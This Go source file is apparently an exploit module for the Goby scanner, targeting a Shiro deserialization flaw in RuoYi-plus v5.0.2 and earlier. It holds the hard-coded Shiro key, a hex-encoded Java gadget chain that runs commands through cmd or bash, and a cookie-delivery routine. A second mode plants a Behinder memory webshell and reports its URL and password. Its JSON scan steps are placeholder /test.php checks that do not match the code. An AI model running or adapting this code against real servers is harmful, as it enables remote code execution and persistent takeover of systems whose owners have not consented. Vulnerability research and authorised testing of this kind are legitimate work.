package exploits

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"io"
	"net/url"
	"strings"
)

func init() {
	expJson := `{
    "Name": "RuoYi-plus Shiro Deserialization Vulnerability",
    "Description": "<p>The RuoYi plus background management framework is composed of SMP multi merchant background management system+API back-end interface. The project supports cms content management and B2B2C mall business, provides two-way selection of stand-alone services and microservice systems, and integrates distributed transaction solution seata with microservices. The framework is based on SpringBoot2. x, springcloudG version. </p><p>There is a shiro deserialization vulnerability in RuoYi plus v5.0.2 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
    "Product": "RuoYi-plus",
    "Homepage": "https://gitee.com/aimeng2017/RuoYi-plus",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "((title=\"RuoYi-plus\" || body=\"RuoYi-plus\") && body=\"/ruoyi/js/ry-ui.js\") && body!=\"markbro/ruoyi-plus\"",
    "GobyQuery": "((title=\"RuoYi-plus\" || body=\"RuoYi-plus\") && body=\"/ruoyi/js/ry-ui.js\") && body!=\"markbro/ruoyi-plus\"",
    "Level": "3",
    "Impact": "<p>There is a shiro deserialization vulnerability in RuoYi plus v5.0.2 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
    "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update: <a href=\"https://gitee.com/aimeng2017/RuoYi-plus\">https://gitee.com/aimeng2017/RuoYi-plus</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
    "References": [],
    "Is0day": true,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsBeanutils1183NOCC",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromRequest",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "classBytes",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php ",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [],
    "CNNVD": [],
    "CNVD": [],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "RuoYi-plus 后台管理框架 shiro 反序列化漏洞",
            "Product": "RuoYi-plus",
            "Description": "<p>RuoYi-plus 后台管理框架由SMP多商户后台管理系统+API后端接口组成，项目支持cms内容管理和B2B2C商城业务，提供单机版服务、微服务体系双向选择，微服务集成分布式事务解决方案seata， 框架基于SpringBoot2.x，springcloudG版本。<br></p><p>RuoYi-plus v5.0.2&nbsp;及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</p>",
            "Recommendation": "<p>1、官方暂未修复该漏洞，请用户联系厂商修复漏洞：<a href=\"https://gitee.com/aimeng2017/RuoYi-plus\">https://gitee.com/aimeng2017/RuoYi-plus</a></p><p>2、通过防火墙等安全设备设置访问策略，设置白名单访问。</p><p>3、如非必要，禁止公网访问该系统。</p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">RuoYi-plus v5.0.2&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "RuoYi-plus Shiro Deserialization Vulnerability",
            "Product": "RuoYi-plus",
            "Description": "<p>The RuoYi plus background management framework is composed of SMP multi merchant background management system+API back-end interface. The project supports cms content management and B2B2C mall business, provides two-way selection of stand-alone services and microservice systems, and integrates distributed transaction solution seata with microservices. The framework is based on SpringBoot2. x, springcloudG version.&nbsp;</p><p>There is a shiro deserialization vulnerability in RuoYi plus v5.0.2 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.<br></p>",
            "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update:&nbsp;<a href=\"https://gitee.com/aimeng2017/RuoYi-plus\">https://gitee.com/aimeng2017/RuoYi-plus</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
            "Impact": "<p>There is a shiro deserialization vulnerability in RuoYi plus v5.0.2 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.<br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	shiroAesEncryptGCM19238716418 := func(payloadByte []byte, key string) string {
		keyBytes, _ := base64.StdEncoding.DecodeString(key)
		block, _ := aes.NewCipher(keyBytes)
		nonce := make([]byte, 16)
		io.ReadFull(rand.Reader, nonce)
		aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
		ciphertext := aesgcm.Seal(nil, nonce, payloadByte, nil)
		return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
	}

	sendPayload19278367131 := func(u *httpclient.FixUrl, payloadByte []byte, key string, cmd string, payload string, referer string) (*httpclient.HttpResponse, error) {
		if payload == "" {
			cfg := httpclient.NewGetRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncryptGCM19238716418(payloadByte, key))
			if cmd != "" {
				cfg.Header.Store("X-Token-Data", cmd)
			}
			return httpclient.DoHttpRequest(u, cfg)

		} else {
			cfg := httpclient.NewPostRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncryptGCM19238716418(payloadByte, key))
			cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
			cfg.Header.Store("Referer", referer)
			cfg.Data = "dc=" + url.QueryEscape(payload)
			return httpclient.DoHttpRequest(u, cfg)
		}
	}

	key := "fCq+/xW488hMTCD+cmJ3aQ=="
	echoPayload := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72CF8E0182FE4EF17E0200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372002A6A6176612E6C616E672E537472696E672443617365496E73656E736974697665436F6D70617261746F7277035C7D5C50E5CE02000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E0020000787000000DF2CAFEBABE0000003100D60100346F72672F6170616368652F78706174682F78706174682F66756E6374696F6E732F46756E63537562737472696E674265666F72650700010100106A6176612F6C616E672F4F626A6563740700030100063C696E69743E010003282956010004436F64650C000500060A0004000801000171010033284C6A6176612F6C616E672F537472696E673B294C6A6176612F696F2F4279746541727261794F757470757453747265616D3B01000765786563436D640C000C000B0A0002000D0100083C636C696E69743E01001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E07001001001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E0700120100136A6176612F6C616E672F457863657074696F6E0700140100156A6176612F6C616E672F54687265616447726F75700700160100176A6176612F6C616E672F7265666C6563742F4669656C640700180100135B4C6A6176612F6C616E672F5468726561643B07001A0100106A6176612F6C616E672F54687265616407001C0100106A6176612F6C616E672F537472696E6707001E01000E6A6176612F7574696C2F4C69737407002001001D6A6176612F696F2F4279746541727261794F757470757453747265616D07002201000D537461636B4D61705461626C6501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C002500260A001D002701000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C0029002A0A001D002B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C002D002E0A0004002F0100077468726561647308003101000F6A6176612F6C616E672F436C6173730700330100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C003500360A0034003701000D73657441636365737369626C65010004285A29560C0039003A0A0019003B010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003D003E0A0019003F0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C004100420A001D004301000465786563080045010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A0C004700480A001F00490100046874747008004B01000674617267657408004D0100126A6176612F6C616E672F52756E6E61626C6507004F01000674686973243008005101000768616E646C657208005301000D6765745375706572636C6173730C0055002E0A00340056010006676C6F62616C08005801000A70726F636573736F727308005A01000473697A650100032829490C005C005D0B0021005E0100152849294C6A6176612F6C616E672F4F626A6563743B0C003D00600B0021006101000372657108006301000B676574526573706F6E73650800650100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0C006700680A003400690100186A6176612F6C616E672F7265666C6563742F4D6574686F6407006B010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C006D006E0A006C006F01000967657448656164657208007101000C582D546F6B656E2D446174610800730100076973456D70747901000328295A0C007500760A001F00770100097365745374617475730800790100116A6176612F6C616E672F496E746567657207007B010004545950450100114C6A6176612F6C616E672F436C6173733B0C007D007E09007C007F010004284929560C000500810A007C00820C000A000B0A000200840100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6B080086010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0C008800890A0034008A01000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B0C008C008D0A0034008E01000873657442797465730800900100025B420700920100116765744465636C617265644D6574686F640C009400680A0034009501000B746F42797465417272617901000428295B420C009700980A0023009901000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B0C009B009C0A007C009D010007646F577269746508009F0100136A6176612E6E696F2E427974654275666665720800A1010004777261700800A30100135B4C6A6176612F6C616E672F537472696E673B0700A50100136A6176612F696F2F496E70757453747265616D0700A70100076F732E6E616D650800A90100106A6176612F6C616E672F53797374656D0700AB01000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0C00AD00AE0A00AC00AF01000B746F4C6F776572436173650C00B100420A001F00B201000377696E0800B4010003636D640800B60100022F630800B80100092F62696E2F626173680800BA0100022D630800BC0100116A6176612F6C616E672F52756E74696D650700BE01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C00C000C10A00BF00C2010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C004500C40A00BF00C50100116A6176612F6C616E672F50726F636573730700C701000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B0C00C900CA0A00C800CB0A002300080100057772697465010007285B42494929560C00CE00CF0A002300D001000472656164010005285B4229490C00D200D30A00A800D4002100020004000000000004000100050006000100070000001100010001000000052AB70009B1000000000009000A000B000100070000001100010001000000052AB8000EB0000000000008000F0006000100070000038F00080010000002A8033BB80028B6002C4C2BB600301232B600384D2C04B6003C2C2BB60040C0001BC0001B4E03360415042DBEA202782D1504323A051905C70006A702641905B600443A0619061246B6004A9A000D1906124CB6004A9A0006A702461905B60030124EB600384D2C04B6003C2C1905B600403A071907C100509A0006A702231907B600301252B600384D2C04B6003C2C1907B600403A071907B600301254B600384DA700163A081907B60030B60057B600571254B600384D2C04B6003C2C1907B600403A071907B60030B600571259B600384DA700103A081907B600301259B600384D2C04B6003C2C1907B600403A071907B60030125BB600384D2C04B6003C2C1907B60040C00021C000213A0803360915091908B9005F0100A2017919081509B9006202003A0A190AB600301264B600384D2C04B6003C2C190AB600403A0B190BB60030126603BD0034B6006A190B03BD0004B600703A0C190BB60030127204BD00345903121F53B6006A190B04BD00045903127453B60070C0001F3A061906C601051906B600789A00FD190CB60030127A04BD00345903B2008053B6006A190C04BD00045903BB007C591100C8B7008353B60070571906B800853A0D1287B8008B3A0E190EB6008F3A07190E129106BD003459031293535904B20080535905B2008053B60096190706BD00045903190DB6009A535904BB007C5903B70083535905190DB6009ABEB8009E53B6007057190CB6003012A004BD00345903190E53B6006A190C04BD00045903190753B6007057A700513A0E12A2B8008B3A0F190F12A404BD00345903129353B60096190F04BD00045903190DB6009A53B600703A07190CB6003012A004BD00345903190F53B6006A190C04BD00045903190753B6007057043B1A990006A70009840901A7FE811A990006A7000EA700053A05840401A7FD87A700044BB10008009500A000A3001100C300D100D4001101BC023102340013002E0039029B0015003C0057029B0015005A007A029B0015007D0295029B0015000002A302A6001500010024000000950015FF002700050107001707001907001B010000FC001407001DFC001A07001F02FC002207000465070011125D0700110CFD002D07002101FF0124000E0107001707001907001B0107001D07001F070004070021010700040700040700040700230001070013FB004DFA0001F80006FA0005FF000600050107001707001907001B0100004207001501FF00050000000042070015000009000C000B00010007000000E2000400070000008C2A01A5000A2AB60078990006A70076014C12AAB800B0B600B312B5B6004A99001906BD001F590312B753590412B95359052A534CA7001606BD001F590312BB53590412BD5359052A534CB800C32BB600C6B600CC4DBB002359B700CD4E033604110400BC083A05A7000C2D1905031504B600D12C1905B600D559360402A0FFED2DB0A700083A06A7000301B000010000008200850015000100240000003C00090C02FC002705FF0012000207001F0700A60000FF001F000607001F0700A60700A807002301070093000008FF000E000107001F0000420700150400007571007E001000000107CAFEBABE00000033001101002A6F72672F6170616368652F746F6D6361742F636F6D6D6F6E732F696F2F5468726561644D6F6E69746F720700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C650100125468726561644D6F6E69746F722E6A61766101001073657269616C56657273696F6E5549440100014A0571E669EE3C6D471801000D436F6E7374616E7456616C75650100063C696E69743E0100032829560C000C000D0A0004000E010004436F646500210002000400000001001A000700080001000B00000002000900010001000C000D000100100000001100010001000000052AB7000FB10000000000010005000000020006707400084D574F4C41504E47707701007871007E000D78"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			gadget, _ := hex.DecodeString(echoPayload)
			resp, err := sendPayload19278367131(u, gadget, key, "echo "+randStr, "", "")
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				gadget, _ := hex.DecodeString(echoPayload)
				resp, err := sendPayload19278367131(expResult.HostInfo, gadget, key, cmd, "", "")
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)
				classBytes := ss.Params["classBytes"].(string)

				if serializedData == "" || classBytes == "" {
					serializedData, classBytes, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				resp, err := sendPayload19278367131(expResult.HostInfo, data, key, "", classBytes, referer)

				if err == nil && resp.StatusCode == 200 &&
					(strings.Contains(resp.RawBody, "Success") || strings.Contains(resp.RawBody, "Filter already exists")) {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
